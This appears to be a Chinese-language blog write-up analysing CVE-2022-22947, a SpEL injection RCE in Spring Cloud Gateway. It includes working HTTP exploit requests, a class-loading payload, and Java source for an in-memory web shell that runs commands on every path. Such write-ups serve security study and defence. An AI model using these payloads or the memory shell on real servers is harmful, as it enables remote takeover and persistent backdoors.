CVE-2022-22947 SpringCloud GateWay SpEL RCE
寫在前面
學習記錄
環境準備
IDEA的話需要下載Kotlin外掛的,針對於這個環境的話,Kotlin外掛對IDEA的版本有要求,比如IDEA 2020.1.1的版本就不行,搭環境的時候需要注意下。
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
漏洞復現
0x01 新增filter
POST /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/:/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 325
{
"id": "spel",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
0x02 重新整理
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
0x03 再次訪問
GET /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
漏洞分析
看diff和早就爆出的資訊,是SpEL注入導致的程式碼執行
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
修改的檔案為:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
進去下斷點,先放加filter的包,再refresh,回溯下呼叫棧
sink點在getValue方法中,而該方法有4處呼叫,且均在ShortcutType這個列舉型別裡
這裡有個shortcutType方法,會直接呼叫ShortcutType.DEFAULT
這點看呼叫棧中也可以發現,從normalizeProperties方法進入後直接呼叫了DEFAULT
觀察引數,normalizeProperties()方法會傳入this.properties,其中儲存了前面新增的filters agrs屬性中的name和value,最終會將value取出傳到後續的SpEL進行解析執行
再往前回溯就是從POST refresh端點到載入這個filter的邏輯了,翻看一下呼叫棧就一目瞭然了。呼叫棧如下:
getValue:59, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
...
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
...
而payload中我們構造的filter在後面會被封裝為FilterDefinition物件,而FilterDefinition為RouteDefinition中的一個屬性,RouteDefinition物件結構大致如下:
到這裡第一個POST加路由的payload的構造以及refresh到sink點的觸發基本就很清晰了,下面正向看一下這個route是如何加進去的。
首先看官方文件
可以通過POST和DELETE請求進行新增和刪除路由的操作
下斷點後跟進檢視,POST傳入的是RouteDefinition物件
RouteDefinition類程式碼如下
其中filters對應的模版類程式碼如下,所以需要有name和args作為屬性
繼續往下跟,在Lambda表示式裡呼叫了validateRouteDefinition方法對當前filter name做了檢查,判斷是否是存在的filter name,一共有29個,其中用AddResponseHeader可以幫助構造回顯
而關於回顯的話,前面refresh部分的除錯已知了結果會儲存在this.properties中,那麼拿AddResponseHeader做回顯肯定是能獲取this.properties,下面來看下。
首先定位到AddResponseHeaderGatewayFilterFactory,其中apply方法會把config的name和value屬性都新增到header中從而創造回顯。全域性搜尋的時候也可以看到很多用此功能來新增header頭的程式碼。
而通過GET請求routes/{id}時正好會拿到該命令執行的結果, 這裡的話個人感覺是走如下的呼叫的,
最終在此拿到filter,回顯到response裡
但實際除錯時又有很多不一樣的地方,埋坑。
記憶體馬注入
Payload
這裡聯想到的是Thymeleaf SSTI這個洞,因為這兩個洞最終都是SpEL注入,所以一開始想到的就是BCEL去打一個記憶體馬進去,但BCEL是有JDK版本限制,並不是很通用。在c0ny1師傅文章有給出payload和新思路,不造輪子了直接學爆。
首先來看payload
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
用的是Spring中自帶的ReflectUtils類的defineClass方法,主要注意第三個引數也就是Classloader的部分:new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()
可以簡單看下原始碼,MLet繼承了URLClassLoader,所以這裡通過new MLet()
來new一個新的ClassLoader就可以避免ClassLoader無法載入相同類名的類
public class MLet extends java.net.URLClassLoader
implements MLetMBean, MBeanRegistration, Externalizable {
...
/**
* Constructs a new MLet using the default delegation parent ClassLoader.
*/
public MLet() {
this(new URL[0]);
}
/**
* Constructs a new MLet for the specified URLs using the default
* delegation parent ClassLoader. The URLs will be searched in
* the order specified for classes and resources after first
* searching in the parent class loader.
*
* @param urls The URLs from which to load classes and resources.
*
*/
public MLet(URL[] urls) {
this(urls, true);
}
/**
* Constructs a new MLet for the given URLs. The URLs will be
* searched in the order specified for classes and resources
* after first searching in the specified parent class loader.
* The parent argument will be used as the parent class loader
* for delegation.
*
* @param urls The URLs from which to load classes and resources.
* @param parent The parent class loader for delegation.
*
*/
public MLet(URL[] urls, ClassLoader parent) {
this(urls, parent, true);
}
/**
* Constructs a new MLet for the specified URLs, parent class
* loader, and URLStreamHandlerFactory. The parent argument will
* be used as the parent class loader for delegation. The factory
* argument will be used as the stream handler factory to obtain
* protocol handlers when creating new URLs.
*
* @param urls The URLs from which to load classes and resources.
* @param parent The parent class loader for delegation.
* @param factory The URLStreamHandlerFactory to use when creating URLs.
*
*/
public MLet(URL[] urls,
ClassLoader parent,
URLStreamHandlerFactory factory) {
this(urls, parent, factory, true);
}
...
...
/**
* Constructs a new MLet for the specified URLs, parent class
* loader, and URLStreamHandlerFactory. The parent argument will
* be used as the parent class loader for delegation. The factory
* argument will be used as the stream handler factory to obtain
* protocol handlers when creating new URLs.
*
* @param urls The URLs from which to load classes and resources.
* @param parent The parent class loader for delegation.
* @param factory The URLStreamHandlerFactory to use when creating URLs.
* @param delegateToCLR True if, when a class is not found in
* either the parent ClassLoader or the URLs, the MLet should delegate
* to its containing MBeanServer's {@link ClassLoaderRepository}.
*
*/
public MLet(URL[] urls,
ClassLoader parent,
URLStreamHandlerFactory factory,
boolean delegateToCLR) {
super(urls, parent, factory);
init(delegateToCLR);
}
HandlerMapping記憶體馬
而記憶體馬方面的話主要還是Spring層,之前我也有寫過一篇Spring記憶體馬相關的文章,主要是Interceptor和Controller型的記憶體馬,而c0ny1師傅文章中用到的是RequestMappingHandlerMapping註冊一個與使用@RequestMapping("/*")等效的HandlerMapping型別的記憶體馬。
程式碼:執行命令的邏輯主要還是在executeCommand
方法中,那麼想注入Behinder3或者Godzilla4的Memshell的話改下邏輯,並且需要找到獲取request物件的姿勢。
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
漏洞武器化
丟兩張圖吧